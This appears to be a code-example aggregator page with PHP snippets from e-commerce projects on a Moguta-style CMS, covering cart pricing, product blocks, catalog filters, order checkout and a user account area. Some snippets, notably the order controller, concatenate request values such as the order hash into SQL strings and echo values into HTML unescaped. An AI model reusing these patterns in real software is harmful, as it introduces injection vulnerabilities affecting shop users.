         $currencyRate = MG::getSetting('currencyRate');
         $currencyShopIso = MG::getSetting('currencyShopIso');
         $products_row = array();
         while ($prod = DB::fetchAssoc($result)) {
             $products_row[$prod['id']] = $prod;
         }
         foreach ($_SESSION['cart'] as $key => $item) {
             $variant = null;
             $row = $products_row[$item['id']];
             $arrayImages = explode("|", $row['image_url']);
             if (!empty($item['variantId'])) {
                 $variant = $array_variants[$item['variantId']];
                 $image = $variant['image'] ? $variant['image'] : $arrayImages[0];
                 $row['price'] = $variant['price'];
                 $row['code'] = $variant['code'];
                 $row['count'] = $variant['count'];
                 $row['image_url'] = $variant['image'] ? $variant['image'] : $row['image_url'];
                 $row['image_url_new'] = mgImageProductPath($image, $item['id'], 'small');
                 $row['weight'] = $variant['weight'];
                 $row['title'] = $row['title'] . " " . $variant['title_variant'];
                 $row['variantId'] = $variant['id'];
                 $row['price_course'] = $variant['price_course'];
             }
             $price = $row['price_course'];
             if ($item['id'] == $row['id']) {
                 $count = $item['count'];
                 $row['countInCart'] = $count;
                 $row['property_html'] = htmlspecialchars_decode(str_replace('&amp;', '&', $item['property']));
                 $price = self::plusPropertyMargin($price, $item['propertyReal'], $currencyRate[$row['currency_iso']]);
                 $row['property'] = $item['propertySetId'];
                 $priceWithCoupon = $modelCart->applyCoupon($_SESSION['couponCode'], $price, $row);
                 //$row['currency_iso'] = $row['currency_iso']?$row['currency_iso']:$currencyShopIso;
                 //$price *= $currencyRate[$row['currency_iso']];
                 $priceWithDiscount = $modelCart->applyDiscountSystem($price);
                 //$price = $priceWithCoupon < $priceWithDiscount['price'] ? $priceWithCoupon : $priceWithDiscount['price'];
                 $price = $modelCart->customPrice(array('product' => $row, 'priceWithCoupon' => $priceWithCoupon, 'priceWithDiscount' => $priceWithDiscount['price']));
                 // если выбран формат без копеек, то округляем стоимость до ворматирования.
                 if (in_array(MG::getSetting('priceFormat'), array('1234', '1 234', '1,234'))) {
                     $price = round($price);
                 }
                 $row['priceInCart'] = MG::priceCourse($price * $count) . " " . $settings['currency'];
                 if (!empty($arrayImages)) {
                     $row['image_url'] = $arrayImages[0];
                     $row['image_url_new'] = mgImageProductPath($arrayImages[0], $item['id'], 'small');
                 }
                 $row['category_url'] = SHORT_LINK == '1' ? '' : $row['category_url'] . '/';
                 $row['price'] = $price;
                 $res['dataCart'][] = $row;
                 $totalPrice += $price * $count;
                 $totalCount += $count;
                 $itemIds[] = $item['id'];
             }
         }
         $res['cart_price_wc'] = MG::priceCourse($totalPrice) . " " . $settings['currency'];
         $res['cart_count'] = $totalCount;
         $res['cart_price'] = MG::priceCourse($totalPrice);
     }
     $args = func_get_args();
     return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $res, $args);
 }
コード例 #14
0
ファイル: group.php プロジェクト: WinGood/24karcher
 public function getGroupsData()
 {
     $model = new Models_Catalog();
     $currencyRate = MG::getSetting('currencyRate');
     $currencyShopIso = MG::getSetting('currencyShopIso');
     // Формируем список товаров для блока рекомендуемой продукции.
     $recommendProducts = $model->getListByUserFilter(MG::getSetting('countRecomProduct'), ' p.recommend = 1 and p.activity=1 ORDER BY sort ASC');
     foreach ($recommendProducts['catalogItems'] as &$item) {
         $imagesUrl = explode("|", $item['image_url']);
         $item["image_url"] = "";
         if (!empty($imagesUrl[0])) {
             $item["image_url"] = $imagesUrl[0];
         }
         $item['currency_iso'] = $item['currency_iso'] ? $item['currency_iso'] : $currencyShopIso;
         // $item['price'] *= $currencyRate[$item['currency_iso']];
         $item['old_price'] = $item['old_price'] * $currencyRate[$item['currency_iso']];
         $item['old_price'] = $item['old_price'] ? MG::priceCourse($item['old_price']) : 0;
         $item['price'] = MG::priceCourse($item['price_course']);
     }
     // Формируем список товаров для блока новинок.
     $newProducts = $model->getListByUserFilter(MG::getSetting('countNewProduct'), ' p.new = 1 and p.activity=1 ORDER BY sort ASC');
     foreach ($newProducts['catalogItems'] as &$item) {
         $imagesUrl = explode("|", $item['image_url']);
         $item["image_url"] = "";
         if (!empty($imagesUrl[0])) {
             $item["image_url"] = $imagesUrl[0];
         }
         $item['currency_iso'] = $item['currency_iso'] ? $item['currency_iso'] : $currencyShopIso;
         //  $item['price'] *= $currencyRate[$item['currency_iso']];
         $item['old_price'] = $item['old_price'] * $currencyRate[$item['currency_iso']];
         $item['old_price'] = $item['old_price'] ? MG::priceCourse($item['old_price']) : 0;
         $item['price'] = MG::priceCourse($item['price_course']);
     }
     // Формируем список товаров со старой ценой.
     $saleProducts = $model->getListByUserFilter(MG::getSetting('countSaleProduct'), ' p.old_price>0 and p.activity=1 ORDER BY sort ASC');
     foreach ($saleProducts['catalogItems'] as &$item) {
         $imagesUrl = explode("|", $item['image_url']);
         $item["image_url"] = "";
         if (!empty($imagesUrl[0])) {
             $item["image_url"] = $imagesUrl[0];
         }
         $item['currency_iso'] = $item['currency_iso'] ? $item['currency_iso'] : $currencyShopIso;
         //$item['price'] *= $currencyRate[$item['currency_iso']];
         $item['old_price'] = $item['old_price'] * $currencyRate[$item['currency_iso']];
         $item['old_price'] = $item['old_price'] ? MG::priceCourse($item['old_price']) : 0;
         $item['price'] = MG::priceCourse($item['price_course']);
     }
     $html = MG::get('pages')->getPageByUrl('index');
     $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']);
     $data = array('recommendProducts' => $recommendProducts, 'newProducts' => $newProducts, 'saleProducts' => $saleProducts);
     return $data;
 }
コード例 #15
0
ファイル: filter.php プロジェクト: nellka/mebel
 /**
  * Возвращает HTML верстку сблока с фильтрами по каталогу товаров. 
  *
  * @param array $submit флаг, для вывода кнопки отправки формы.
  * @return string - HTML верстка.
  */
 public function getHtmlFilter($submit = false)
 {
     $html = '';
     $lang = MG::get('lang');
     $html .= '<div class="mg-filter-head">';
     $html .= '<div class="filter-preview"><div class="loader-search"></div><span></span></div>';
     foreach ($this->property as $name => $prop) {
         switch ($prop['type']) {
             case 'select':
                 $html .= '<div class="wrapper-field"><div class="filter-select"><div class="select"><span class="label-field">' . $prop['label'] . ':</span><select name="' . $name . '" class="last-items-dropdown">';
                 foreach ($prop['option'] as $value => $text) {
                     $selected = $prop['selected'] === $value . "" ? 'selected="selected"' : '';
                     $html .= '<option value="' . $value . '" ' . $selected . '>' . $text . '</option>';
                 }
                 $html .= '</select></div>';
                 if ($name == 'cat_id') {
                     $checked = '';
                     if ($_POST['insideCat']) {
                         $checked = 'checked=checked';
                     }
                     $html .= '<div class="checkbox">' . $lang['FILTR_PRICE7'] . '<input type="checkbox"  name="insideCat" ' . $checked . ' /></div>';
                 }
                 $html .= '</div></div>';
                 break;
             case 'beetwen':
                 if ($prop['special'] == 'date') {
                     $html .= '
          <div class="wrapper-field">
          <ul class="period-date">
            <li><span class="label-field">' . $prop['label1'] . '</span> <input class="from-' . $prop['class'] . '" type="text" name="' . $name . '[]" value="' . date('d.m.Y', strtotime($prop['min'])) . '"></li>
            <li><span class="label-field">' . $prop['label2'] . '</span> <input class="to-' . $prop['class'] . '" type="text" name="' . $name . '[]" value="' . date('d.m.Y', strtotime($prop['max'])) . '"></li>
          </ul>
          </div>
        ';
                 } else {
                     $html .= '<div class="wrapper-field">
             <div class="price-slider-wrapper">
             <ul class="price-slider-list">
              <li><span class="label-field">' . $prop['label1'] . '</span><input type="text" id="minCost" class="price-input start-' . $prop['class'] . '  price-input" data-fact-min="' . $prop['factMin'] . '" name="' . $name . '[]" value="' . $prop['min'] . '" /></li>
              <li><span class="label-field">' . $prop['label2'] . '</span><input type="text" id="maxCost" class="price-input end-' . $prop['class'] . '  price-input" data-fact-max="' . $prop['factMax'] . '" name="' . $name . '[]" value="' . $prop['max'] . '" /><span>' . MG::getSetting('currency') . '</span></li>
             </ul>
             <div class="clear"></div>
             <div id="price-slider"></div>
           </div>
           </div>';
                 }
                 if (!empty($prop['special'])) {
                     $html .= '<input type="hidden"  name="' . $name . '[]" value="' . $prop['special'] . '" />';
                 }
                 break;
             case 'hidden':
                 $html .= ' <input type="hidden" name="' . $name . '" value="' . $prop['value'] . '" class="price-input"/>';
                 break;
             case 'text':
                 if (!empty($prop['special'])) {
                     $html .= '<div class="wrapper-field"><span class="label-field">' . $prop['label'] . ':</span> <input type="text" name="' . $name . '[]" value="' . $prop['value'] . '" class="price-input"/></div>';
                     $html .= '<input type="hidden"  name="' . $name . '[]" value="' . $prop['special'] . '" />';
                 } else {
                     $html .= '<div class="wrapper-field"><span class="label-field">' . $prop['label'] . ':</span> <input type="text" name="' . $name . '" value="' . $prop['value'] . '" class="price-input"/></div>';
                 }
                 break;
             default:
                 break;
         }
     }
     $html .= '</div>';
     if (MG::get('controller') == 'controllers_catalog' || $_REQUEST['mguniqueurl'] == 'catalog.php') {
         $html .= '<div class="mg-filter-body">';
         $html .= $this->getHtmlPropertyFilter();
         $html .= '</div>';
     }
     if (MG::get('controller') == 'controllers_users' || $_REQUEST['mguniqueurl'] == 'users.php') {
         $html .= '<div class="mg-filter-body">';
         $html .= '</div>';
     }
     $html .= '<div class="wrapper-field filter-buttons">';
     if ($submit) {
         $html .= '<input type="submit" value="' . $lang['FILTR_PRICE8'] . '" class="filter-btn">';
         $html .= '<a href="' . SITE . URL::getClearUri() . '" class="refreshFilter"><span>' . $lang['CLEAR'] . '</span></a>';
     } else {
         $html .= '<a class="filter-now"><span>' . $lang['FILTR_PRICE8'] . '</span></a>';
         $html .= '<a href="javascript:void(0);" class="refreshFilter"><span>' . $lang['CLEAR'] . '</span></a>';
     }
     $html .= '</div>';
     return '<form name="filter" class="filter-form" data-print-res="' . MG::getSetting('printFilterResult') . '">' . $html . '</form>';
 }
コード例 #16
0
ファイル: index.php プロジェクト: kostiukoleg/all4web.loc
 function __construct()
 {
     $settings = MG::get('settings');
     // Если нажата кнопка купить.
     $_REQUEST['category_id'] = URL::getQueryParametr('category_id');
     if (!empty($_REQUEST['inCartProductId'])) {
         $cart = new Models_Cart();
         $property = $cart->createProperty($_POST);
         $cart->addToCart($_REQUEST['inCartProductId'], $_REQUEST['amount_input'], $property);
         SmalCart::setCartData();
         MG::redirect('/cart');
     }
     $countСatalogProduct = $settings['countСatalogProduct'];
     // Показать первую страницу выбранного раздела.
     $page = 1;
     // Запрашиваемая страница.
     if (isset($_REQUEST['p'])) {
         $page = $_REQUEST['p'];
     }
     $model = new Models_Catalog();
     // Получаем список вложенных категорий, для вывода всех продуктов, на страницах текущей категории.
     $model->categoryId = MG::get('category')->getCategoryList($_REQUEST['category_id']);
     // В конец списка, добавляем корневую текущую категорию.
     $model->categoryId[] = $_REQUEST['category_id'];
     // Передаем номер требуемой страницы, и количество выводимых объектов.
     $countСatalogProduct = 100;
     $actionButton = MG::getSetting('actionInCatalog') === "true" ? 'actionBuy' : 'actionView';
     $dataGroupProducts = Storage::get(md5('dataGroupProductsIndexConroller'));
     $currencyRate = MG::getSetting('currencyRate');
     $currencyShopIso = MG::getSetting('currencyShopIso');
     $randomProdBlock = MG::getSetting('randomProdBlock') == "true" ? true : false;
     if ($dataGroupProducts == null) {
         // Формируем список товаров со старой ценой.
         $sort = $randomProdBlock ? "RAND()" : "sort";
         $saleProducts = $model->getListByUserFilter(MG::getSetting('countSaleProduct'), ' (p.old_price>0 || pv.old_price>0) and p.activity=1 ORDER BY ' . $sort . ' ASC');
         $recommendProducts = $model->getListByUserFilter(MG::getSetting('countRecomProduct'), ' p.recommend=1 ORDER BY ' . $sort . ' ASC');
         $newProducts = $model->getListByUserFilter(MG::getSetting('countNewProduct'), ' p.new=1 ORDER BY ' . $sort . ' ASC');
         foreach ($saleProducts['catalogItems'] as &$item) {
             $imagesUrl = explode("|", $item['image_url']);
             $item["image_url"] = "";
             if (!empty($imagesUrl[0])) {
                 $item["image_url"] = $imagesUrl[0];
             }
             $item['currency_iso'] = $item['currency_iso'] ? $item['currency_iso'] : $currencyShopIso;
             //$item['price'] *= $currencyRate[$item['currency_iso']];
             $item['old_price'] = $item['old_price'] ? MG::priceCourse($item['old_price']) : 0;
             $item['price'] = MG::priceCourse($item['price_course']);
             if ($printCompareButton != 'true') {
                 $item['actionCompare'] = '';
             }
             if ($actionButton == 'actionBuy' && $item['count'] == 0) {
                 $item['actionBuy'] = $item['actionView'];
             }
         }
         $dataGroupProducts['recommendProducts'] = $recommendProducts;
         $dataGroupProducts['newProducts'] = $newProducts;
         $dataGroupProducts['saleProducts'] = $saleProducts;
         Storage::save(md5('dataGroupProductsIndexConroller'), $dataGroupProducts);
     }
     $recommendProducts = $dataGroupProducts['recommendProducts'];
     $newProducts = $dataGroupProducts['newProducts'];
     $saleProducts = $dataGroupProducts['saleProducts'];
     $html = MG::get('pages')->getPageByUrl('index');
     if (!empty($html)) {
         $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']);
     } else {
         $html['html_content'] = '';
     }
     $this->data = array('newProducts' => !empty($newProducts['catalogItems']) ? $newProducts['catalogItems'] : array(), 'recommendProducts' => !empty($recommendProducts['catalogItems']) ? $recommendProducts['catalogItems'] : array(), 'saleProducts' => !empty($saleProducts['catalogItems']) ? $saleProducts['catalogItems'] : array(), 'titeCategory' => $html['meta_title'], 'cat_desc' => $html['html_content'], 'meta_title' => $html['meta_title'], 'meta_keywords' => $html['meta_keywords'], 'meta_desc' => $html['meta_desc'], 'currency' => $settings['currency'], 'actionButton' => $actionButton);
 }
コード例 #17
0
ファイル: product.php プロジェクト: nellka/mebel
 /**
  * Получает информацию о запрашиваемом товаре по его ID.
  * @param int $id id запрашиваемого товара.
  * @return array массив с данными о товаре.
  */
 public function getProduct($id)
 {
     $result = array();
     $res = DB::query('
   SELECT  CONCAT(c.parent_url,c.url) as category_url,
     p.url as product_url, p.*, rate, (p.price_course + p.price_course * (IFNULL(rate,0))) as `price_course`, 
     p.`currency_iso` 
   FROM `' . PREFIX . 'product` p
     LEFT JOIN `' . PREFIX . 'category` c
     ON c.id = p.cat_id
   WHERE p.id = ' . DB::quote($id, true));
     if (!empty($res)) {
         if ($product = DB::fetchAssoc($res)) {
             $result = $product;
             // Запрос делает следующее
             // 1. Вычисляет список пользовательских характеристик для категории товара,
             // 2. Присваивает всем параметрам значания по умолчанию,
             // 3. Находит заполненные характеристики товара, заменяет ими значения по умолчанию.
             // В результате получаем набор всех пользовательских характеристик включая те, что небыли определены явно.
             $res = DB::query("\r\n          SELECT pup.property_id, pup.value, pup.product_margin, pup.type_view, prop.*\r\n          FROM `" . PREFIX . "product_user_property` as pup\r\n          LEFT JOIN `" . PREFIX . "property` as prop\r\n            ON pup.property_id = prop.id\r\n          LEFT JOIN  `" . PREFIX . "category_user_property` as cup \r\n            ON cup.property_id = prop.id\r\n          WHERE pup.`product_id` = " . DB::quote($id) . " AND cup.category_id = " . DB::quote($result['cat_id']) . "\r\n            \r\n          ORDER BY `sort` DESC;\r\n        ");
             while ($userFields = DB::fetchAssoc($res)) {
                 if (in_array($userFields['property_id'], MG::get('category')->getPropertyForCategoryById($product['cat_id']))) {
                     // Заполняет каждый товар его характеристиками.
                     $result['thisUserFields'][$userFields['property_id']] = $userFields;
                 }
             }
             $imagesConctructions = $this->imagesConctruction($result['image_url'], $result['image_title'], $result['image_alt']);
             $result['images_product'] = $imagesConctructions['images_product'];
             $result['images_title'] = $imagesConctructions['images_title'];
             $result['images_alt'] = $imagesConctructions['images_alt'];
             $result['image_url'] = $imagesConctructions['image_url'];
             $result['image_title'] = $imagesConctructions['image_title'];
             $result['image_alt'] = $imagesConctructions['image_alt'];
         }
     }
     $args = func_get_args();
     return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args);
 }
コード例 #18
0
ファイル: navigator.php プロジェクト: kostiukoleg/all4web.loc
 private function gelLink($class, $numberPage, $type = "getQuery", $ancor = null)
 {
     $href = "href='javascript:void(0);'";
     if ($type == "forAjax") {
         $href = "href='javascript:void(0);'";
     }
     if ($type == "getQuery") {
         $uri = $_SERVER['REQUEST_URI'];
         if (MG::get('controller') == "controllers_catalog" && MG::getSetting('catalogIndex') == 'true' && (URL::isSection(null) || URL::isSection('index'))) {
             $uri = substr_count($uri, 'index') ? str_replace('/index', '/catalog', $uri) : str_replace('/', '/catalog', $uri);
         }
         $url = str_replace(array('[', ']'), array('&#91;', '&#93;'), URL::add_get($uri, $this->paramName, $numberPage));
         $href = "href='" . $url . "'";
     }
     $ancor = $ancor ? $ancor : $numberPage;
     return "<li><a class='" . $class . " page_" . $numberPage . "' " . $href . " >" . $ancor . "</a></li>";
 }
コード例 #19
0
ファイル: order.php プロジェクト: kostiukoleg/all4web.loc
 function __construct()
 {
     // Модель для работы заказом.
     $model = new Models_Order();
     // Печать заказа в квитанцию.
     if (isset($_POST['printQittance'])) {
         $model->printQittance();
     }
     if ($orderId = URL::get('getOrderPdf')) {
         $model->getPdfOrder($orderId);
     }
     // Запрос электронных товаров
     $fileToOrder = null;
     if (isset($_REQUEST['getFileToOrder'])) {
         $electroInfo = $model->getFileToOrder($_REQUEST['getFileToOrder']);
         $orderInfo = $model->getOrder(' id = ' . DB::quote($_REQUEST['getFileToOrder']));
         $orderNumber = $orderInfo[$_REQUEST['getFileToOrder']]['number'];
         if ($electroInfo === false) {
             $infoMsg = "Для просмотра страницы необходимо зайти на сайт под пользователем сделавшим заказ №" . $orderNumber;
         }
         if (is_array($electroInfo) && empty($electroInfo)) {
             $infoMsg = "Заказ  не содержит электронных товаров или ожидает оплаты!";
         }
         if (is_array($electroInfo) && !empty($electroInfo)) {
             $infoMsg = "Скачать электронные товары для заказа №" . $orderNumber . "";
         }
         $fileToOrder = array('infoMsg' => $infoMsg, 'electroInfo' => $electroInfo);
     }
     // пришел запрос на скачивание электронного товара
     if (isset($_REQUEST['link'])) {
         $model->getFileByMd5($_REQUEST['link']);
     }
     // Первый экран - Оформление заказа.
     $step = 1;
     // Если пришли данные с формы оформления заказа.
     if (isset($_POST['toOrder'])) {
         if (empty($_SESSION['cart'])) {
             MG::redirect('/cart');
         }
         // Если параметры введены корректно, то создается новый заказ.
         if ($error = $model->isValidData($_POST)) {
             $msg = $error;
         } else {
             // Второй экран - оплата заказа
             $step = 2;
             $orderArray = $model->addOrder();
             $orderId = $orderArray['id'];
             $orderNumber = $orderArray['orderNumber'];
             $summ = $model->summ + $model->delivery_cost;
             $pay = $model->payment;
             $paramArray = $model->getParamArray($pay, $orderId, $summ);
         }
     }
     // Обработка действия при переходе по ссылке подтверждения заказа.
     if ($id = URL::getQueryParametr('id')) {
         $info = $this->confirmOrder($id);
         $msg = $info['msg'];
         $userEmail = $info['userEmail'];
         // Третий экран - подтверждение заказа по ссылке из письма.
         $step = 3;
     }
     // Обработка действия при переходе по ссылке получения информации о статусе заказа.
     if (URL::getQueryParametr('hash')) {
         $hash = URL::getQueryParametr('hash');
         // Информация о заказе по переданному id.
         $orderInfo = $model->getOrder('`' . PREFIX . 'order`.hash = "' . $hash . '"');
         $id = key($orderInfo);
         if ($orderInfo) {
             if (USER::getUserInfoByEmail($orderInfo[$id]['user_email'])) {
                 $msg = 'Посмотреть статус заказа Вы можете в <a href="' . SITE . '/personal">личном кабинете</a>.';
             } else {
                 $lang = MG::get('lang');
                 $orderNumber = $orderInfo[$id]['number'];
                 $orderId = $id;
                 $status = $model->getOrderStatus($orderInfo[$id]['status_id']);
                 $orderInfo[$id]['string_status_id'] = $lang[$status];
                 $paymentArray = $model->getPaymentMethod($orderInfo[$id]['payment_id']);
                 $orderInfo[$id]['paymentName'] = $paymentArray['name'];
                 $msg = '';
             }
         } else {
             $msg = 'Некорректная ссылка.<br> Заказ не найден<br>';
         }
         // пятый экран - инфо о статусе заказа
         $step = 5;
     }
     // Запрос оплаты из ЛК.
     if (URL::getQueryParametr('pay')) {
         // Четвертый экран - Запрос оплаты из ЛК.
         $step = 4;
         $pay = URL::getQueryParametr('paymentId');
         $orderId = URL::getQueryParametr('orderID');
         $order = $model->getOrder(' id = ' . DB::quote($orderId, true));
         $summ = URL::getQueryParametr('orderSumm');
         $summ = $order[$orderId]['summ'] * 1 + $order[$orderId]['delivery_cost'] * 1;
         $paramArray = $model->getParamArray($pay, $orderId, $summ);
     }
     // Если пользователь авторизован, то заполняем форму личными даными.
     if (User::isAuth()) {
         $userInfo = User::getThis();
         $_POST['email'] = $_POST['email'] ? $_POST['email'] : $userInfo->email;
         $_POST['phone'] = $_POST['phone'] ? $_POST['phone'] : $userInfo->phone;
         $_POST['fio'] = $_POST['fio'] ? $_POST['fio'] : $userInfo->name . ' ' . $userInfo->sname;
         $_POST['address'] = $_POST['address'] ? $_POST['address'] : $userInfo->address;
         if ($userInfo->inn) {
             $_POST['customer'] = 'yur';
         }
         $_POST['yur_info']['adress'] = $userInfo->adress;
         $_POST['yur_info']['inn'] = $userInfo->inn;
         $_POST['yur_info']['kpp'] = $userInfo->kpp;
         $_POST['yur_info']['bank'] = $userInfo->bank;
         $_POST['yur_info']['bik'] = $userInfo->bik;
         $_POST['yur_info']['ks'] = $userInfo->ks;
         $_POST['yur_info']['rs'] = $userInfo->rs;
     }
     // Обработка ajax запроса из шаблона.
     if ('getPaymentByDeliveryId' == URL::getQueryParametr('action')) {
         $this->getPaymentByDeliveryId();
     }
     // Обработка ajax запроса из шаблона.
     if ('getEssentialElements' == URL::getQueryParametr('action')) {
         $this->getEssentialElements();
     }
     $this->includeIconsPack();
     // Массив способов доставки.
     $deliveryArray = $this->getDelivery();
     // Массив способов оплаты.
     $deliveryCount = count($deliveryArray);
     // если из доступных способов доставки - только один, то сразу находим для него способы оплаты
     if ($deliveryCount === 1) {
         $keyDev = array_keys($deliveryArray);
         $_POST['delivery'] = $deliveryArray[$keyDev[0]]['id'];
     }
     $paymentTable = $this->getPaymentByDeliveryId($_POST['delivery'], $_POST['customer'], true, $deliveryCount);
     // если доставка не предусмотрена, то выводим все доступные активные метода оплаты
     if ($deliveryCount === 0) {
         $paymentTable = '';
         foreach ($this->getPayment() as $payment) {
             $delivArray = json_decode($payment['deliveryMethod'], true);
             if ($_POST['customer'] == "yur" && $payment['id'] != "7") {
                 continue;
             }
             $paymentTable .= '
      <li class="noneactive">
        <label>
        <input type="radio" name="payment" rel value=' . $payment['id'] . '>' . $payment['name'] . '</label>
        <span class="icon-payment-' . $payment['id'] . '"></span>
      </li>';
         }
     }
     $cart = new Models_Cart();
     $summOrder = $cart->getTotalSumm();
     $summOrder = MG::numberFormat($summOrder);
     if ($step != 5) {
         $orderInfo = $model->getOrder('`' . PREFIX . 'order`.id = "' . $orderId . '"');
     }
     $userInfo = USER::getUserInfoByEmail($orderInfo[$orderId]['user_email']);
     $settings = MG::get('settings');
     $orderNumber = $orderInfo[$orderId]['number'] != '' ? $orderInfo[$orderId]['number'] : $orderId;
     $linkToStatus = $orderInfo[$orderId]['hash'] ? $orderInfo[$orderId]['hash'] : '';
     // Массив параметров для отображения в представлении.
     $this->data = array('active' => !empty($userEmail) ? $userEmail : '', 'msg' => !empty($msg) ? $msg : '', 'step' => !empty($step) ? $step : '', 'delivery' => !empty($deliveryArray) ? $deliveryArray : '', 'paymentArray' => !empty($paymentTable) ? $paymentTable : '', 'paramArray' => !empty($paramArray) ? $paramArray : '', 'id' => !empty($orderId) ? $orderId : '', 'orderNumber' => !empty($orderNumber) ? $orderNumber : $orderId, 'summ' => !empty($summ) ? $summ : '', 'pay' => !empty($pay) ? $pay : '', 'payMentView' => $this->getPaymentView($pay), 'currency' => $settings['currency'], 'userInfo' => $userInfo, 'orderInfo' => $orderInfo, 'fileToOrder' => $fileToOrder, 'meta_title' => 'Оформление заказа', 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "заказы,заявки,оформить,оформление заказа", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "Оформление заказа происходит в несколько этапов. 1 - ввод личных данных покупателя, 2 - оплата заказа.", 'summOrder' => !empty($summOrder) ? $summOrder . ' ' . MG::getSetting('currency') : '', 'captcha' => CAPTCHA_ORDER == '1' ? true : false, 'linkToStatus' => $linkToStatus);
 }
コード例 #20
0
ファイル: actioner.php プロジェクト: WinGood/24karcher
 /**
  * Упорядочивает всё дерево категорий по алфавиту 
  * @return boolean
  */
 public function sortToAlphabet()
 {
     MG::get('category')->sortToAlphabet();
     return true;
 }
コード例 #21
0
ファイル: personal.php プロジェクト: WinGood/24karcher
 function __construct()
 {
     $lang = MG::get('lang');
     $settings = MG::get('settings');
     $this->lang = $lang;
     $status = 0;
     if (User::isAuth()) {
         $order = new Models_Order();
         $status = 3;
         //обработка запроса на изменение данных пользователя
         if (URL::getQueryParametr('userData')) {
             $customer = URL::getQueryParametr('customer');
             $userData = array('name' => URL::getQueryParametr('name'), 'sname' => URL::getQueryParametr('sname'), 'address' => URL::getQueryParametr('address'), 'phone' => URL::getQueryParametr('phone'), 'nameyur' => $customer == 'yur' ? URL::getQueryParametr('nameyur') : '', 'adress' => $customer == 'yur' ? URL::getQueryParametr('adress') : '', 'inn' => $customer == 'yur' ? URL::getQueryParametr('inn') : '', 'kpp' => $customer == 'yur' ? URL::getQueryParametr('kpp') : '', 'bank' => $customer == 'yur' ? URL::getQueryParametr('bank') : '', 'bik' => $customer == 'yur' ? URL::getQueryParametr('bik') : '', 'ks' => $customer == 'yur' ? URL::getQueryParametr('ks') : '', 'rs' => $customer == 'yur' ? URL::getQueryParametr('rs') : '');
             if (USER::update(User::getThis()->id, $userData)) {
                 $message = 'Данные успешно сохранены';
             } else {
                 $error = 'Не удалось сохранить данные ' . $this->_newUserData['sname'];
             }
         }
         // Обработка запроса на изменения пароля.
         if (URL::getQueryParametr('chengePass')) {
             if (USER::auth(User::getThis()->email, URL::getQueryParametr('pass'))) {
                 $person = new Models_Personal();
                 $message = $person->changePass(URL::getQueryParametr('newPass'), User::getThis()->id);
             } else {
                 $error = 'Неверный пароль';
             }
         }
         // Обработка запроса на изменения способа оплаты.
         if (URL::getQueryParametr('changePaymentId')) {
             $order = new Models_Order();
             $status = $order->updateOrder(array('payment_id' => $_POST['changePaymentId'], 'id' => $_POST['orderId']));
             $result = array('status' => $status, 'comment' => 2, 'orderStatus' => 3);
             echo json_encode($result);
             MG::disableTemplate();
             exit;
         }
         // Обработка AJAX запроса на закрытие заказа.
         if (URL::getQueryParametr('delOK')) {
             $comment = 'Отменено покупателем, по причине <br>"' . URL::getQueryParametr('comment') . '"';
             // Пересчитываем остатки продуктов из заказа.
             $orderModel = new Models_Order();
             $orderModel->refreshCountProducts(URL::getQueryParametr('delID'), 4);
             $res = DB::query('
       UPDATE `' . PREFIX . 'order`
       SET close_date = now(), status_id = 4, comment = "%s"
       WHERE id = %d AND user_email = "%s"', $comment, URL::getQueryParametr('delID'), User::getThis()->email);
             if ($res) {
                 $status = true;
             }
             if ($comment) {
                 $comm = "<b>Комментарий: " . $comment . "</b>";
             }
             $result = array('status' => $status, 'comment' => $comm, 'orderStatus' => $lang[$order->getOrderStatus(array('status_id' => 4))]);
             $orderModel->sendMailOfUpdateOrder(URL::getQueryParametr('delID'));
             echo json_encode($result);
             MG::disableTemplate();
             exit;
         }
         // Отображение данных пользователя.
         $orderArray = $order->getOrder('user_email = "' . User::getThis()->email . '"', TRUE);
         if (is_array($orderArray)) {
             foreach ($orderArray as $orderId => $orderItems) {
                 $orderArray[$orderId]['string_status_id'] = $order->getOrderStatus($orderItems);
                 $paymentArray = $order->getPaymentMethod($orderItems['payment_id']);
                 $orderArray[$orderId]['name'] = $paymentArray['name'];
                 $orderArray[$orderId]['paided'] = $order->getPaidedStatus($orderItems);
             }
         }
         if (!User::getThis()->activity) {
             $status = 2;
             unset($_SESSION['user']);
         }
         if (User::getThis()->blocked) {
             $status = 1;
             unset($_SESSION['user']);
         }
         $paymentList = $order->getPaymentBlocksMethod();
     } else {
         MG::redirect('/enter');
     }
     $this->data = array('error' => !empty($error) ? $error : '', 'message' => !empty($message) ? $message : '', 'status' => !empty($status) ? $status : '', 'userInfo' => User::getThis(), 'orderInfo' => !empty($orderArray) ? $orderArray : '', 'currency' => $settings['currency'], 'paymentList' => $paymentList, 'meta_title' => 'Личный кабинет', 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "заказы,личные данные, личный кабинет", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "В личном кабинете нашего сайта вы сможете отслеживать состояние заказов и менять свои данные");
 }
コード例 #22
0
ファイル: ajax.php プロジェクト: WinGood/24karcher
 function __construct()
 {
     // Не существует обработки для прямого обращения.
     if (empty($_REQUEST)) {
         header('HTTP/1.0 404 Not Found');
         exit;
     }
     // Отключаем вывод темы.
     MG::disableTemplate();
     $actioner = URL::getQueryParametr('actionerClass');
     if ('Ajaxuser' == $actioner) {
         $this->routeUserAction(URL::getQueryParametr('action'));
     }
     // Если этот аякс запрос направлен на выполнение
     // действия с БД, то пытаемся их выполнить.
     // Иначе подключается контролер из админки.
     $url = URL::getQueryParametr('mguniqueurl');
     $type = URL::getQueryParametr('mguniquetype');
     // Менеджерам запрещено работать с разделами.
     if (USER::getThis()->role == 3) {
         $accessDenied = array('category.php', 'page.php', 'catalog.php', 'users.php', 'settings.php', 'statistics.php');
         if (in_array($url, $accessDenied)) {
             exit;
         }
     }
     // Модераторам запрещено работать с разделами.
     if (USER::getThis()->role == 4) {
         $accessDenied = array('settings.php', 'statistics.php');
         if (in_array($url, $accessDenied)) {
             exit;
         }
     }
     // Незарегистрированным пользователям и клиентам запрещено работать с разделами.
     if (USER::getThis()->role == 2 || empty(USER::getThis()->role)) {
         exit;
     }
     // Если передана переменная $pluginFolder, то вся обработка
     // происходит в плагине из этой папки.
     $pluginHandler = URL::getQueryParametr('pluginHandler');
     if (empty($pluginHandler)) {
